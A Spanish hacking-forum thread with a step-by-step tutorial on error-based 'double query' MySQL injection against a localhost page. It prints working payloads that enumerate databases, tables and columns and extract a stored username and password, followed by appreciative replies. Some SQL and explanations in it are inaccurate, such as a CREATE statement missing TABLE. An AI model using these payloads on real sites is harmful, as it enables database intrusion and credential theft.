Tutorial MySQL Injection Double Query.

Iniciado por WilyXem, Enero 18, 2013, 09:24:06 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 18, 2013, 09:24:06 PM Ultima modificación: Enero 18, 2013, 09:27:19 PM por WilyXem
Saludos, os traigo otro tutorial de inyecciones.  :D

Hoy vamos a inyectar en localhost una inyeccion de tipo MySQL Double Query [2x error based].

Empezamos:

Paso 1:

Para sacar la version necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x44617461426173652056657273696f6e3d3d3e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'DataBase Version==>'5.1.63-0ubuntu0.10.04.1'~1' for key 'group_key'

Paso 2:

Para sacar la bases de datos, necesitamos el siguente query:


and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x4669727374204461746142617365203d3d3e20,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'First DataBase ==> 'information_schema'~1' for key 'group_key'


La primera base de datos es "information_schema", como pasamos a la siguente? Pues con el siguente cambio del query:


and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e64204461746142617365203d3d3e20,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)



MySQL Fucking server says: Duplicate entry 'Second DataBase ==> 'mysql'~1' for key 'group_key'


He creado una base de datos llamada "underc0de" con una tabela llamada "usuarios" dentro de ella hay unas columnas ==> id, username, password.

Como he creado la tabla con las columnas? Con el siguente query:

CREATE base.tabla (columna tipo, columna2, tipo, columna 3 tipo);

En mi caso es:

CREATE underc0de.usuarios (id varchar(20), username varchar(30), password varchar(50));

Despues he metido los en las columnas datos.

INSERT INTO underc0de.usuarios (id,username,password) VALUES ('1','WilyXem','underc0de');

Que es "varchar"?! Varchar es el espacio donde se pueden escribir los datos de una de las columnas, las cifras que vienen dentro de las parentesis son los datos que se pueden escribir [como maximo], osea, no puedes escribir en username mas de 30 palabras, ni en password no puedes escribir mas de 50 palabras.

Paso 3:

Volvemos a la inyeccion, ahora vamos a sacar las tablas de la base llamada "underc0de"

Para sacar las tablas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0xHex-de-la-base-de-datos limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e64204461746142617365203d3d3e20,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x756e64657263306465 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'First Table ==> 'usuarios'~1' for key 'group_key'

Paso 4:

Para sacar las columnas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0xHex-De-La-Base-De-Datos limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x466972737420436f6c756d6e203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'First Column ==> 'id'~1' for key 'group_key'

Para pasar a la otra columna, hay que hacer este cambio en el query:

and(select 1 from(select count(*),concat((select(concat(0x4669727374205461626c65203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:
Código: php

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e6420436f6c756d6e203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'Second Column ==> 'username'~1' for key 'group_key'

Ya tenemos las 3 columnas:

id
username
password.

Paso 5:

Para sacar los datos de las columnas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select (select(concat(0x7e,0x27,cast(tabla.columna as char),0x27,0x7e)) from base.tabla LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select (select(concat(0x7e,0x27,cast(usuarios.username as char),0x27,0x7e)) from underc0de.usuarios LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'The first username ==> 'WilyXem'~1' for key 'group_key'

Y su contrasena es:

Código: php
http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select (select(concat(0x5468652066697273742070617373776f7264206973203d3d3e20,0x27,cast(usuarios.password as char),0x27,0x7e)) from underc0de.usuarios LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'The first password is ==> 'underc0de'~1' for key 'group_key'

Espero que os gusto el tutorial.

Gracias por vuestra atencion.


My Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

|| Security Researcher || Little PenTester || Member of UnderC0de.

One day, You gonna find me, I know that - WilyXem's Motto

excelente tuto gracias :D
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Excelente tutorial, Te recomiendo cambiar el color amarillo por otro, ya que es muy molesto para la vista.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente tutorial, Te recomiendo cambiar el color amarillo por otro, ya que es muy molesto para la vista.
puedes cambiar al tema anterior asi lo ves mejor xD
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

el tema es el clásico de sqli pero siempre ayuda a los que recien empiezan, cuando yo empezé aprendí leyendo un manual muy parecido a este.

saludos! y se agradece el aporte sobre todo para los más nobatos.